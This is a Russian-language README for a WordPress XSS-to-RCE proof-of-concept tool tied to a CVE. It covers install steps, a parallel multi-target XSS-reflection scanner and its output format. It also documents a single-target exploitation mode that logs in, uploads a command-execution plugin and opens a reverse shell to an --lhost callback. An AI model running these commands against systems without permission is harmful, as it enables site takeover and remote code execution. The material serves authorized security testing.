
Авторизованный сканер WordPress XSS-to-RCE, поддерживающий параллельное обнаружение отражённого XSS на нескольких целях, определение версии по отпечатку и опциональный рабочий процесс эксплуатации.
Разработчик: YogaGymn
Утилита для PoC/сканирования, предназначенная для авторизованного тестирования безопасности WordPress. Проект содержит рабочий процесс эксплуатации одной цели и конкурентный режим только сканирования нескольких целей.
Важно: Используйте этот проект только на установках WordPress, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Многопелевой сканер намеренно ограничен фингерпринтингом и обнаружением отражения XSS; он не выполняет захват учётных данных, загрузку плагинов или RCE по списку целей.
Оригинальный скрипт поддерживает:
auto, xss и direct.Добавленный сканер поддерживает:
ThreadPoolExecutor.Многопелевой режим не вызывает оригинальные функции RCE.
requestsУстановите зависимость:
python3 -m pip install requests
Если в вашем дистрибутиве Linux используется внешне управляемое окружение Python, используйте виртуальное окружение:
python3 -m venv .venv
source .venv/bin/activate
pip install requests
Клонируйте или скопируйте проект:
git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638
Или просто разместите:
xss2shell.py
в вашем рабочем каталоге.
Создайте файл с именем targets.txt:
https://example1.test
https://example2.test
https://example3.test
Комментарии и пустые строки игнорируются:
# Authorized lab targets
https://example1.test
https://example2.test
Запустите сканер:
python3 xss2shell.py -i targets.txt
По умолчанию используется 10 воркеров.
Например, используйте 20 воркеров:
python3 xss2shell.py -i targets.txt --workers 20
Для небольшой лаборатории:
python3 xss2shell.py -i targets.txt --workers 5
Не выбирайте неоправданно большое число воркеров, так как это может увеличить нагрузку на соединения и вызвать ограничение скорости или срабатывание защитных механизмов.
python3 xss2shell.py \
-i targets.txt \
--workers 10 \
--output results.txt
[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE
[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)
=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected : 1
Not detected : 2
Errors : 0
Results saved : scan_results.txt
По умолчанию scan_results.txt использует поля, разделённые табуляцией:
TARGET WORDPRESS_VERSION XSS_STATUS XSS_DETAIL
Пример:
https://example1.test 6.8.2 XSS_NOT_DETECTED ESCAPED
https://example2.test 6.7.1 XSS_REFLECTION_DETECTED AREA_BYPASS
Статус Значение
XSS_REFLECTION_DETECTED Сканер обнаружил проверяемое
поведение HTML-отражения. Само по
себе это не является
доказательством RCE.
XSS_NOT_DETECTED Проверяемое отражение не было
обнаружено.
ERROR При проверке возникло исключение.Сканер может сообщать такие детали, как:
RAW_HTMLAREA_BYPASSESCAPEDSTRIPPEDNOT_REFLECTEDЭти значения описывают ответ, наблюдаемый процедурой обнаружения; их следует проверять вручную, прежде чем считать результат подтверждённой уязвимостью.
Исходный скрипт также поддерживает аргументы для одной цели.
python3 xss2shell.py \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode direct \
-u admin \
-p 'PASSWORD' \
http://authorized-target.test
python3 xss2shell.py \
--mode xss \
--lhost 192.0.2.10 \
http://authorized-lab.test
Рабочие процессы XSS/direct могут создавать или активировать плагин, содержащий функциональность выполнения команд. Используйте их только в авторизованной тестовой среде.
usage: xss2shell.py [-h]
[-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
[--mode {auto,xss,direct}]
[-u USERNAME] [-p PASSWORD]
[--lhost LHOST] [--lport LPORT]
[--slug SLUG] [--callback-port CALLBACK_PORT]
[--no-rev]
[target]
Аргумент Описание
target Один целевой URL.
-i, --input Файл, содержащий несколько целей.
--output Выходной файл для результатов
по нескольким целям. По умолчанию:
scan_results.txt.
--workers Количество одновременных воркеров.
По умолчанию: 10.
--mode Исходный режим одной цели:
auto, xss или direct.
-u, --username Имя пользователя WordPress для исходного
рабочего процесса direct/fallback.
-p, --password Пароль WordPress для исходного
рабочего процесса direct/fallback.
--lhost Хост для callback/reverse-shell в
исходном PoC.
--lport Порт reverse-shell. По умолчанию:
4444.
--slug Слаг плагина. По умолчанию: xss2shell.
--callback-port Порт callback-сервера. По умолчанию:
9090.
--no-rev Пропустить запуск reverse-shell в
исходном рабочем процессе.Режим нескольких целей использует Python:
ThreadPoolExecutor
Каждая цель отправляется как отдельная задача сканирования: